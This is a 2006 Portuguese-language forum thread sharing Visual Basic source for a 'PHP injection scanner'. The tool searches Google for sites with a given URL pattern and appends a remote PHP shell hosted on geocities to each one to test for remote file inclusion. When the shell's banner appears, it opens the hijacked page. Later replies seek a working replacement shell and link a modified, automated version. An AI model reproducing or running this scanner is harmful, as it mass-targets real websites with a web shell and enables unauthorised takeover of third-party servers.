[Source - Download] Php Injection Scanner

Iniciado por Dark_Side, 11 de Junho , 2006, 01:12:52 AM

tópico anterior - próximo tópico

0 Membros e 1 Visitante estão vendo este tópico.

Dark_Side

Hi,
Simples Php Injection Scanner que busca no google uma string específica, mostra os sites encontrados, e testa se estes são ou não vulneráveis.
O programa utiliza os componentes: WINSOCK e INET.
'Php Injection by Dark Side

Private Declare Function ShellExecute Lib _
        "shell32.dll" Alias "ShellExecuteA" _
        (ByVal hwnd As Long, ByVal lpOperation _
        As String, ByVal lpFile As String, _
        ByVal lpParameters As String, ByVal _
        lpDirectory As String, ByVal nShowCmd _
        As Long) As Long
Private Const SW_SHOWNORMAL As Long = 1

Dim data As String
Dim result As String
Dim dados As String
Dim url As String
Private Sub Form_Load()
MsgBox "HI," & vbCrLf & "Valew por estar usando meu programinha." & vbCrLf & "Por favor, me avise sobre quaisquer BUGs, Críticas, Sugestões, etc." & vbCrLf & "Vlw!", vbInformation, "Dark Side:: Php Injection Scanner Release"
End Sub
Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
Cancel = 1
Select Case paginas.ListCount
Case Is > 0
confirm = MsgBox("Salvar log dos sites encontrados?", vbYesNo, "o.O?")
If confirm = vbYes Then
Open App.Path & "\log.txt" For Append As 1
Print #1, "Log salvo em: " & Now
Print #1, "String: " & str_pg.Text
Print #1, "Max: " & max.Text
Print #1, "Sites encontrados: " & paginas.ListCount & vbCrLf
For c = 0 To paginas.ListCount - 1
Print #1, paginas.List(c)
Next
Print #1, vbCrLf
MsgBox "Log salvo em: " & App.Path & "\log.txt", vbInformation, "Log"
Close 1
Cancel = 0
Else
Cancel = 0
End If
Case Else
Cancel = 0
End Select
End Sub

Private Sub go_Click()
Select Case go.Caption
Case "&Escanear"
If str_pg.Text = Empty Then
MsgBox "Selecione uma string!", vbExclamation, "..."
str_pg.SetFocus
Exit Sub
End If

If max.Text = Empty Then
MsgBox "Digite um número máximo válido de resultados!", vbExclamation, "..."
max.SetFocus
Exit Sub
End If

If IsNumeric(max.Text) = False Then
MsgBox "Digite um número máximo válido de resultados!", vbExclamation, "..."
max.SetFocus
Exit Sub
End If

If Int(max.Text) < 0 Then
MsgBox "Digite um número máximo válido de resultados!", vbExclamation, "..."
max.SetFocus
Exit Sub
End If

paginas.Clear
str_pg.Enabled = False
max.Enabled = False
go.Caption = "&Parar"
sock.Connect "www.google.com.br", 80
status.Caption = "Status: Escaneando..."
Case Else
sock.Close
inet.Cancel
str_pg.Enabled = True
max.Enabled = True
status.Caption = "Status: Ocioso..."
go.Caption = "&Escanear"
End Select
End Sub

Private Sub inet_StateChanged(ByVal State As Integer)
If State = icError Then inet.Cancel
End Sub

Private Sub paginas_DblClick()
status.Caption = "Verificando vulnerabilidade..."
MsgBox "Verificando vulnerabilidade em: " & paginas.Text, vbInformation, "Php Injection"
verifica paginas.Text
End Sub

Private Sub sock_Connect()
status.Caption = "Status: Procurando sites..."
sock.SendData "GET /search?num=" & max.Text + 2 & "&q=allinurl:%22" & str_pg.Text & "%22 HTTP/1.1" & vbCrLf & vbCrLf
End Sub

Private Sub sock_DataArrival(ByVal bytesTotal As Long)
status.Caption = "Status: Obtendo lista de sites..."
sock.GetData data
dados = dados & data

If InStr(1, dados, "</html>") Then
On Error Resume Next
separa = Split(dados, "href=")
For x = 0 To UBound(separa)
If InStr(1, separa(x), str_pg.Text) Then
temp = Mid(separa(x), InStr(1, separa(x), "http://"))
temp = Mid(temp, 1, InStr(1, temp, "="))
paginas.AddItem temp
paginas.ListIndex = paginas.ListCount - 1
End If
Next

Dim i As Long
Dim limpa As New Collection
For i = 0 To paginas.ListCount - 1
limpa.Add paginas.List(i), paginas.List(i)
Next

paginas.Clear

For i = 0 To limpa.Count
If InStr(1, limpa(i), str_pg.Text) = False Or InStr(1, limpa(i), ">") Then
limpa.Remove (i)
Else
paginas.AddItem limpa(i)
End If
Next
status.Caption = "Concluído: " & paginas.ListCount & " resultados."
sock.Close
str_pg.Enabled = True
max.Enabled = True
go.Caption = "&Escanear"
dados = Empty
End If

End Sub

Private Sub sock_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
MsgBox "Erro ao se conectar", vbCritical, "Erro"
sock.Close
str_pg.Enabled = True
max.Enabled = True
status.Caption = "Status: Ocioso..."
go.Caption = "&Escanear"
End Sub

Function verifica(ByVal site As String)
DoEvents
status.Caption = "Verificando vulnerabilidade..."
Me.Enabled = False
url = Mid(site, InStr(1, site, "http://"))
url = url & "http://br.geocities.com/wdfbily/cmd.gif"
result = inet.OpenURL(url, icString)
If InStr(1, result, "sidewinder command/safemode exploit") Then
MsgBox "Vulnerabilidade encontrada em: " & site, vbInformation, "Php Injection"
ShellExecute hwnd, "open", url, "", "", SW_SHOWNORMAL
result = Empty
Me.Enabled = True
Else
MsgBox site & " NÃO é vulnerável à PHP Injection.", vbExclamation, "..."
result = Empty
Me.Enabled = True
End If
End Function
Versão compilada: http://geocities.yahoo.com.br/wdfbily/p ... canner.zip
Bye.

Shady



Mundus Vult Decipi

branco

o net é melhor ainda, vb é otimo o problema é a microsoft
Olha o trem... Quem vai ficar, quem vai partir? Quem vai chorar, quem vai sorrir?

Emilly Rose

Witherless Rose

Dark_Side

Hi,
Tive um problema com essa conta. Já estou atualizando este e outros projetos.
Bye.

Anonymous


Dark_Side


_Dr4k0_

Só para avisar ele não é apenas um scanner pelo o que voce disse..apesar de não ter baixado ainda..mais se ele testa se o site tah vuln ele é também um filter(se não me engano)
100% Livre!!!Livre para escolher o que há de melhor no Windows e Linux. Livre de preconceito direto ou inverso!
Adote essa filosofia e tenha mais chance de sucesso profissional.

_Dr4k0_

Ps.: aqui ele não está conseguindo se conectar..não sei pq..

É só comigo ou com voces também?
100% Livre!!!Livre para escolher o que há de melhor no Windows e Linux. Livre de preconceito direto ou inverso!
Adote essa filosofia e tenha mais chance de sucesso profissional.

fatality


Anonymous

Link ta fora amigo...

Pode manda o arquivo dinovo..

Valeu :o


alissonvn



branco

depois de 1 mes só pra avisar http://br.geocities.com/wdfbily/cmd.gif
essa cmd nao funciona mais entao o programa tambem nao funciona, logo nao adianta upar dinovo...
arrumem uma cmd pra mim e me falem alguma coisa que esta escrita nela do tipo "by alguem" e eu reformulo o codigo do dark side pra vcs,
t+
Olha o trem... Quem vai ficar, quem vai partir? Quem vai chorar, quem vai sorrir?

branco

resolvi concertar ela e por pra procurar automatico, se alguem precisar ta ai :
http://rapidshare.com/files/13644360/Package.rar

t+
Olha o trem... Quem vai ficar, quem vai partir? Quem vai chorar, quem vai sorrir?